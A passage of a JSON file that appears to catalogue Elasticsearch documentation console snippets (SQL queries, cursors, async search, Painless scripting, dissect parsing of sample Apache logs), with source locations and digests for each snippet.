release_date)\n | KEEP release_month\n | SORT release_month ASC\n | LIMIT 3\n \"\"\"\n}"}, {"source_location":{"file":"sql/getting-started.asciidoc","line":9},"digest":"0a46ac2968a574ce145f197f10d30152","lang":"console","found":["ruby"],"source":"PUT /library/_bulk?refresh\n{\"index\":{\"_id\": \"Leviathan Wakes\"}}\n{\"name\": \"Leviathan Wakes\", \"author\": \"James S.A. Corey\", \"release_date\": \"2011-06-02\", \"page_count\": 561}\n{\"index\":{\"_id\": \"Hyperion\"}}\n{\"name\": \"Hyperion\", \"author\": \"Dan Simmons\", \"release_date\": \"1989-05-26\", \"page_count\": 482}\n{\"index\":{\"_id\": \"Dune\"}}\n{\"name\": \"Dune\", \"author\": \"Frank Herbert\", \"release_date\": \"1965-06-01\", \"page_count\": 604}"}, {"source_location":{"file":"sql/getting-started.asciidoc","line":22},"digest":"dd3b263e9fa4226e59bedfc957d399d2","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n \"query\": \"SELECT * FROM library WHERE release_date < '2000-01-01'\"\n}"}, {"source_location":{"file":"rest-api/security/create-roles.asciidoc","line":150},"digest":"3fe4264ace04405989141c43aadfff81","lang":"console","found":[],"source":"POST /_security/role/cli_or_drivers_minimal\n{\n \"cluster\": [\"cluster:monitor/main\"],\n \"indices\": [\n {\n \"names\": [\"test\"],\n \"privileges\": [\"read\", \"indices:admin/get\"]\n }\n ]\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":21},"digest":"b00f3bc0e47905aaa2124d6a025c75d4","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC LIMIT 5\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":118},"digest":"a97aace57c6442bbb90e1e14effbcda3","lang":"console","found":["ruby"],"source":"POST /_sql?format=csv\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":143},"digest":"50096ee0ca53fe8a88450ebb2a50f285","lang":"console","found":["ruby"],"source":"POST /_sql?format=csv&delimiter=%3b\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":168},"digest":"d11ea753a5d86f7e630fd69a069948b1","lang":"console","found":["ruby"],"source":"POST /_sql?format=json\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":180},"digest":"b670ae25504198d206bcb799c578c3b8","lang":"console-result","found":[],"source":"{\n \"columns\": [\n {\"name\": \"author\", \"type\": \"text\"},\n {\"name\": \"name\", \"type\": \"text\"},\n {\"name\": \"page_count\", \"type\": \"short\"},\n {\"name\": \"release_date\", \"type\": \"datetime\"}\n ],\n \"rows\": [\n [\"Peter F. Hamilton\", \"Pandora's Star\", 768, \"2004-03-02T00:00:00.000Z\"],\n [\"Vernor Vinge\", \"A Fire Upon the Deep\", 613, \"1992-06-01T00:00:00.000Z\"],\n [\"Frank Herbert\", \"Dune\", 604, \"1965-06-01T00:00:00.000Z\"],\n [\"Alastair Reynolds\", \"Revelation Space\", 585, \"2000-03-15T00:00:00.000Z\"],\n [\"James S.A. Corey\", \"Leviathan Wakes\", 561, \"2011-06-02T00:00:00.000Z\"]\n ],\n \"cursor\": \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8=\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":203},"digest":"32cd57666bc80b8cf793d06fa1086669","lang":"console","found":["ruby"],"source":"POST /_sql?format=tsv\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":229},"digest":"c554a1791f29bbbcddda84c64deaba6f","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":256},"digest":"050b3947025fee403232b8e6e9112dab","lang":"console","found":["ruby"],"source":"POST /_sql?format=yaml\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":311},"digest":"582da02c09e0597b4396c87e33571e7b","lang":"console","found":[],"source":"POST /_sql?format=json\n{\n \"cursor\": \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f///w8=\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":323},"digest":"b50e17e8fa5b2179bb49afb3382c5042","lang":"console-result","found":[],"source":"{\n \"rows\" : [\n [\"Dan Simmons\", \"Hyperion\", 482, \"1989-05-26T00:00:00.000Z\"],\n [\"Iain M. Banks\", \"Consider Phlebas\", 471, \"1987-04-23T00:00:00.000Z\"],\n [\"Neal Stephenson\", \"Snow Crash\", 470, \"1992-06-01T00:00:00.000Z\"],\n [\"Frank Herbert\", \"God Emperor of Dune\", 454, \"1981-05-28T00:00:00.000Z\"],\n [\"Frank Herbert\", \"Children of Dune\", 408, \"1976-04-21T00:00:00.000Z\"]\n ],\n \"cursor\" : \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWODRMaXBUaVlRN21iTlRyWHZWYUdrdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl9f///w8=\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":348},"digest":"f5e50fe8a60467adb2c5ee9e0f2d88da","lang":"console","found":[],"source":"POST /_sql/close\n{\n \"cursor\": \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f///w8=\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":360},"digest":"3f112f8abf3ad01a2cfb4d4773f987fc","lang":"console-result","found":[],"source":"{\n \"succeeded\" : true\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":375},"digest":"e697ef947f3fb7835f7fadb9125b1043","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"filter\": {\n \"range\": {\n \"page_count\": {\n \"gte\" : 100,\n \"lte\" : 200\n }\n }\n },\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":409},"digest":"f235544a883fd04bed2dc369b0c450f3","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n \"query\": \"SELECT * FROM library\",\n \"filter\": {\n \"terms\": {\n \"_routing\": [\"abc\"]\n }\n }\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":433},"digest":"0a3186bf20b5359393406fc0cb433313","lang":"console","found":["ruby"],"source":"POST /_sql?format=json\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5,\n \"columnar\": true\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":446},"digest":"878ff5d73af41a7f96bd067a0da57224","lang":"console-result","found":[],"source":"{\n \"columns\": [\n {\"name\": \"author\", \"type\": \"text\"},\n {\"name\": \"name\", \"type\": \"text\"},\n {\"name\": \"page_count\", \"type\": \"short\"},\n {\"name\": \"release_date\", \"type\": \"datetime\"}\n ],\n \"values\": [\n [\"Peter F. Hamilton\", \"Vernor Vinge\", \"Frank Herbert\", \"Alastair Reynolds\", \"James S.A. Corey\"],\n [\"Pandora's Star\", \"A Fire Upon the Deep\", \"Dune\", \"Revelation Space\", \"Leviathan Wakes\"],\n [768, 613, 604, 585, 561],\n [\"2004-03-02T00:00:00.000Z\", \"1992-06-01T00:00:00.000Z\", \"1965-06-01T00:00:00.000Z\", \"2000-03-15T00:00:00.000Z\", \"2011-06-02T00:00:00.000Z\"]\n ],\n \"cursor\": \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8=\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":469},"digest":"5d5b06468c54308f52c212cca5d58fef","lang":"console","found":[],"source":"POST /_sql?format=json\n{\n \"cursor\": \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8=\",\n \"columnar\": true\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":482},"digest":"9152b97bf168296dff891a6dcd4a3251","lang":"console-result","found":[],"source":"{\n \"values\": [\n [\"Dan Simmons\", \"Iain M. Banks\", \"Neal Stephenson\", \"Frank Herbert\", \"Frank Herbert\"],\n [\"Hyperion\", \"Consider Phlebas\", \"Snow Crash\", \"God Emperor of Dune\", \"Children of Dune\"],\n [482, 471, 470, 454, 408],\n [\"1989-05-26T00:00:00.000Z\", \"1987-04-23T00:00:00.000Z\", \"1992-06-01T00:00:00.000Z\", \"1981-05-28T00:00:00.000Z\", \"1976-04-21T00:00:00.000Z\"]\n ],\n \"cursor\": \"46ToAwFzQERYRjFaWEo1UVc1a1JtVjBZMmdCQUFBQUFBQUFBQUVXWjBaNlFXbzNOV0pVY21Wa1NUZDJhV2t3V2xwblp3PT3/////DwQBZgZhdXRob3IBBHRleHQAAAFmBG5hbWUBBHRleHQAAAFmCnBhZ2VfY291bnQBBGxvbmcBAAFmDHJlbGVhc2VfZGF0ZQEIZGF0ZXRpbWUBAAEP\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":502},"digest":"172d150e56a225155a62c7b18bf8da67","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n\t\"query\": \"SELECT YEAR(release_date) AS year FROM library WHERE page_count > 300 AND author = 'Frank Herbert' GROUP BY year HAVING COUNT(*) > 0\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":513},"digest":"d9e0cba8e150681d861f5fd1545514e2","lang":"console","found":["ruby"],"source":"POST /_sql?format=txt\n{\n\t\"query\": \"SELECT YEAR(release_date) AS year FROM library WHERE page_count > ? AND author = ? GROUP BY year HAVING COUNT(*) > ?\",\n\t\"params\": [300, \"Frank Herbert\", 0]\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":535},"digest":"85ae90b63ecba9d2bad16144b054c0a1","lang":"console","found":["ruby"],"source":"POST _sql?format=txt\n{\n \"runtime_mappings\": {\n \"release_day_of_week\": {\n \"type\": \"keyword\",\n \"script\": \"\"\"\n emit(doc['release_date'].value.dayOfWeekEnum.toString())\n \"\"\"\n }\n },\n \"query\": \"\"\"\n SELECT * FROM library WHERE page_count > 300 AND author = 'Frank Herbert'\n \"\"\"\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":574},"digest":"b17143780e9904bfc1e1c53436497fa1","lang":"console","found":["ruby"],"source":"POST _sql?format=json\n{\n \"wait_for_completion_timeout\": \"2s\",\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":598},"digest":"4697d0b9250bc536ec6a74c8b32d8c79","lang":"console-result","found":[],"source":"{\n \"id\": \"FnR0TDhyWUVmUmVtWXRWZER4MXZiNFEad2F5UDk2ZVdTVHV1S0xDUy00SklUdzozMTU=\",\n \"is_partial\": true,\n \"is_running\": true,\n \"rows\": [ ]\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":615},"digest":"9887f65af249bbf09190b1153ea2597b","lang":"console","found":["ruby"],"source":"GET _sql/async/status/FnR0TDhyWUVmUmVtWXRWZER4MXZiNFEad2F5UDk2ZVdTVHV1S0xDUy00SklUdzozMTU="}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":624},"digest":"372445369c220db781bfeba64e3539fa","lang":"console-result","found":[],"source":"{\n \"id\": \"FnR0TDhyWUVmUmVtWXRWZER4MXZiNFEad2F5UDk2ZVdTVHV1S0xDUy00SklUdzozMTU=\",\n \"is_running\": false,\n \"is_partial\": false,\n \"expiration_time_in_millis\": 1611690295000,\n \"completion_status\": 200\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":643},"digest":"2a44d254e6e32abe97515fd2eb34705d","lang":"console","found":["ruby"],"source":"GET _sql/async/FnR0TDhyWUVmUmVtWXRWZER4MXZiNFEad2F5UDk2ZVdTVHV1S0xDUy00SklUdzozMTU=?wait_for_completion_timeout=2s&format=json"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":657},"digest":"f9f541ae23a184301913f07e62d1afd3","lang":"console","found":["ruby"],"source":"POST _sql?format=json\n{\n \"keep_alive\": \"2d\",\n \"wait_for_completion_timeout\": \"2s\",\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":673},"digest":"1313c540fef7e7c18a066f07789673fc","lang":"console","found":["ruby"],"source":"GET _sql/async/FmdMX2pIang3UWhLRU5QS0lqdlppYncaMUpYQ05oSkpTc3kwZ21EdC1tbFJXQToxOTI=?keep_alive=5d&wait_for_completion_timeout=2s&format=json"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":683},"digest":"6a50c1c53673fe9cc3cbda38a2853cdd","lang":"console","found":["ruby"],"source":"DELETE _sql/async/delete/FmdMX2pIang3UWhLRU5QS0lqdlppYncaMUpYQ05oSkpTc3kwZ21EdC1tbFJXQToxOTI="}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":696},"digest":"f1508a2221152842894819e762e63491","lang":"console","found":["ruby"],"source":"POST _sql?format=json\n{\n \"keep_on_completion\": true,\n \"wait_for_completion_timeout\": \"2s\",\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 5\n}"}, {"source_location":{"file":"sql/endpoints/rest.asciidoc","line":712},"digest":"eddcb848d124e244f1a143c53ca6e3b1","lang":"console-result","found":[],"source":"{\n \"id\": \"Fnc5UllQdUVWU0NxRFNMbWxNYXplaFEaMUpYQ05oSkpTc3kwZ21EdC1tbFJXQTo0NzA=\",\n \"is_partial\": false,\n \"is_running\": false,\n \"rows\": ...,\n \"columns\": ...,\n \"cursor\": ...\n}"}, {"source_location":{"file":"sql/endpoints/translate.asciidoc","line":9},"digest":"64a6fb4bcb8cfea139a0e5d3765c063a","lang":"console","found":["ruby"],"source":"POST /_sql/translate\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 10\n}"}, {"source_location":{"file":"sql/endpoints/translate.asciidoc","line":21},"digest":"42f04a31e7cd459740273c19612b344f","lang":"console-result","found":[],"source":"{\n \"size\": 10,\n \"_source\": false,\n \"fields\": [\n {\n \"field\": \"author\"\n },\n {\n \"field\": \"name\"\n },\n {\n \"field\": \"page_count\"\n },\n {\n \"field\": \"release_date\",\n \"format\": \"strict_date_optional_time_nanos\"\n }\n ],\n \"sort\": [\n {\n \"page_count\": {\n \"order\": \"desc\",\n \"missing\": \"_first\",\n \"unmapped_type\": \"short\"\n }\n }\n ],\n \"track_total_hits\": -1\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":52},"digest":"5df3226fdc8f1f66ae92ba2f527af8c0","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"my_field\": 5\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":67},"digest":"599454613ac699d447537e79e65ae35a","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"script_fields\": {\n \"my_doubled_field\": {\n \"script\": { <1>\n \"source\": \"doc['my_field'].value * params['multiplier']\", <2>\n \"params\": {\n \"multiplier\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":143},"digest":"305c4cfb2ad4b58b4c319ffbf32336cc","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"script_fields\": {\n \"my_doubled_field\": {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"doc['my_field'].value * params.get('multiplier');\",\n \"params\": {\n \"multiplier\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":165},"digest":"bfb1aa83da8e3f414d50b5ed7894ed33","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"script_fields\": {\n \"my_doubled_field\": {\n \"script\": {\n \"source\": \"field('my_field').get(null) * params['multiplier']\",\n \"params\": {\n \"multiplier\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":215},"digest":"099006ab11b52ea99693401dceee8bad","lang":"console","found":["ruby"],"source":"POST _scripts/calculate-score\n{\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"Math.log(_score * 2) + params['my_modifier']\"\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":229},"digest":"08e08feb514b24006e13f258d617d873","lang":"console","found":["ruby"],"source":"GET _scripts/calculate-score"}, {"source_location":{"file":"scripting/using.asciidoc","line":238},"digest":"0b615ff4ef5a8847ee8109b2fd11619a","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\": {\n \"match\": {\n \"message\": \"some message\"\n }\n },\n \"script\": {\n \"id\": \"calculate-score\", <1>\n \"params\": {\n \"my_modifier\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":266},"digest":"4061fd5ba7221ca85805ed14d59a6bc5","lang":"console","found":["ruby"],"source":"DELETE _scripts/calculate-score"}, {"source_location":{"file":"scripting/using.asciidoc","line":282},"digest":"0a758d9dec74d9e942cf41a06499234f","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"counter\" : 1,\n \"tags\" : [\"red\"]\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":294},"digest":"77c50f982906718ecc59aa708aed728f","lang":"console","found":["ruby"],"source":"POST my-index-000001/_update/1\n{\n \"script\" : {\n \"source\": \"ctx._source.counter += params.count\",\n \"lang\": \"painless\",\n \"params\" : {\n \"count\" : 4\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":312},"digest":"1c3e3c4f2d268f1826a9b417e1868a58","lang":"console","found":["ruby"],"source":"POST my-index-000001/_update/1\n{\n \"script\": {\n \"source\": \"ctx._source.tags.add(params['tag'])\",\n \"lang\": \"painless\",\n \"params\": {\n \"tag\": \"blue\"\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":333},"digest":"468f7ec42cdd8287cdea3ec1cea4a514","lang":"console","found":["ruby"],"source":"POST my-index-000001/_update/1\n{\n \"script\": {\n \"source\": \"if (ctx._source.tags.contains(params['tag'])) { ctx._source.tags.remove(ctx._source.tags.indexOf(params['tag'])) }\",\n \"lang\": \"painless\",\n \"params\": {\n \"tag\": \"blue\"\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":351},"digest":"3341d3bbb53052447a37c92a04c14b70","lang":"console","found":["ruby"],"source":"POST my-index-000001/_update/1\n{\n \"script\" : \"ctx._source.new_field = 'value_of_new_field'\"\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":362},"digest":"febb71d774e0a1fc67454213d7448c53","lang":"console","found":["ruby"],"source":"POST my-index-000001/_update/1\n{\n \"script\" : \"ctx._source.remove('new_field')\"\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":375},"digest":"582c4b05401dbc190b19411282d85310","lang":"console","found":["ruby"],"source":"POST my-index-000001/_update/1\n{\n \"script\": {\n \"source\": \"if (ctx._source.tags.contains(params['tag'])) { ctx.op = 'delete' } else { ctx.op = 'none' }\",\n \"lang\": \"painless\",\n \"params\": {\n \"tag\": \"green\"\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":436},"digest":"3b606631284877f9bca15051630995ad","lang":"console","found":["ruby"],"source":"GET /my_test_scores/_search\n{\n \"query\": {\n \"term\": {\n \"grad_year\": \"2099\"\n }\n },\n \"sort\": [\n {\n \"_script\": {\n \"type\": \"number\",\n \"script\": {\n \"source\": \"doc['math_score'].value + doc['verbal_score'].value\"\n },\n \"order\": \"desc\"\n }\n }\n ]\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":467},"digest":"dda949d20d07a9edbe64cefc623df945","lang":"console","found":["ruby"],"source":"PUT /my_test_scores/_mapping\n{\n \"properties\": {\n \"total_score\": {\n \"type\": \"long\"\n }\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":484},"digest":"295b3aaeb223612afdd991744dc9c873","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my_test_scores_pipeline\n{\n \"description\": \"Calculates the total test score\",\n \"processors\": [\n {\n \"script\": {\n \"source\": \"ctx.total_score = (ctx.math_score + ctx.verbal_score)\"\n }\n }\n ]\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":503},"digest":"f70ff57c80cdbce3f1e7c63ee307c92d","lang":"console","found":["ruby"],"source":"POST /_reindex\n{\n \"source\": {\n \"index\": \"my_test_scores\"\n },\n \"dest\": {\n \"index\": \"my_test_scores_2\",\n \"pipeline\": \"my_test_scores_pipeline\"\n }\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":520},"digest":"c23e32775340d7bc6f46820313014d8a","lang":"console","found":["ruby"],"source":"POST /my_test_scores_2/_doc/?pipeline=my_test_scores_pipeline\n{\n \"student\": \"kimchy\",\n \"grad_year\": \"2099\",\n \"math_score\": 1200,\n \"verbal_score\": 800\n}"}, {"source_location":{"file":"scripting/using.asciidoc","line":537},"digest":"9a743b6575c6fe5acdf46024a7fda8a1","lang":"console","found":["ruby"],"source":"GET /my_test_scores_2/_search\n{\n \"query\": {\n \"term\": {\n \"grad_year\": \"2099\"\n }\n },\n \"sort\": [\n {\n \"total_score\": {\n \"order\": \"desc\"\n }\n }\n ]\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":89},"digest":"d681b643da0d7f0a384f627b6d56111b","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":115},"digest":"277fefe2b623af61f8274f73efc97aed","lang":"console","found":[],"source":"POST /_scripts/painless/_execute\n{\n \"script\": {\n \"source\": \"\"\"\n String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{response} %{size}').extract(doc[\"message\"].value)?.response;\n if (response != null) emit(Integer.parseInt(response)); <1>\n \"\"\"\n },\n \"context\": \"long_field\", <2>\n \"context_setup\": {\n \"index\": \"my-index\",\n \"document\": { <3>\n \"message\": \"\"\"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0\"\"\"\n }\n }\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":141},"digest":"63341f00bfd88f810b8431464bfaa7d4","lang":"console-result","found":[],"source":"{\n \"result\" : [\n 304\n ]\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":162},"digest":"bd7fa2f122ab861cd00e0b9154d120b3","lang":"console","found":["ruby"],"source":"PUT /my-index/\n{\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"format\": \"strict_date_optional_time||epoch_second\",\n \"type\": \"date\"\n },\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":183},"digest":"efa146bf81a9351ba42b92a6decbcfee","lang":"console","found":[],"source":"PUT my-index/_mappings\n{\n \"runtime\": {\n \"http.response\": {\n \"type\": \"long\",\n \"script\": \"\"\"\n String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{response} %{size}').extract(doc[\"message\"].value)?.response;\n if (response != null) emit(Integer.parseInt(response));\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":204},"digest":"2eebaeb3983a04ef7a9201c1f4d40dc1","lang":"console","found":["ruby"],"source":"POST /my-index/_bulk?refresh=true\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:17-05:00\",\"message\":\"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:53-05:00\",\"message\":\"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:12-05:00\",\"message\":\"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:19-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \\\"GET /french/splash_inet.html HTTP/1.0\\\" 200 3781\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:22-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:27-05:00\",\"message\":\"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:28-05:00\",\"message\":\"not a valid apache log\"}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":228},"digest":"cc7f1c74ede6810e2c9db19256d6b653","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\": {\n \"match\": {\n \"http.response\": \"304\"\n }\n },\n \"fields\" : [\"http.response\"]\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":250},"digest":"79cb85efd5e4c435e73b253cb9feabb1","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"runtime_mappings\": {\n \"http.response\": {\n \"type\": \"long\",\n \"script\": \"\"\"\n String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{response} %{size}').extract(doc[\"message\"].value)?.response;\n if (response != null) emit(Integer.parseInt(response));\n \"\"\"\n }\n },\n \"query\": {\n \"match\": {\n \"http.response\": \"304\"\n }\n },\n \"fields\" : [\"http.response\"]\n}"}, {"source_location":{"file":"scripting/dissect-syntax.asciidoc","line":274},"digest":"15706be181f9078d8dc3ca9b11986ac8","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"D47UqXkBByC8cgZrkbOm\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:31:22-05:00\",\n \"message\" : \"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"\n },\n \"fields\" : {\n \"http.response\" : [\n 304\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"scripting/grok-syntax.asciidoc","line":102},"digest":"bd7fa2f122ab861cd00e0b9154d120b3","lang":"console","found":["ruby"],"source":"PUT /my-index/\n{\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"format\": \"strict_date_optional_time||epoch_second\",\n \"type\": \"date\"\n },\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/grok-syntax.asciidoc","line":123},"digest":"d06a649bc38aa9a6433b64efa78d8cb5","lang":"console","found":["ruby"],"source":"POST /my-index/_bulk?refresh\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:17-05:00\",\"message\":\"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:53-05:00\",\"message\":\"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:12-05:00\",\"message\":\"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 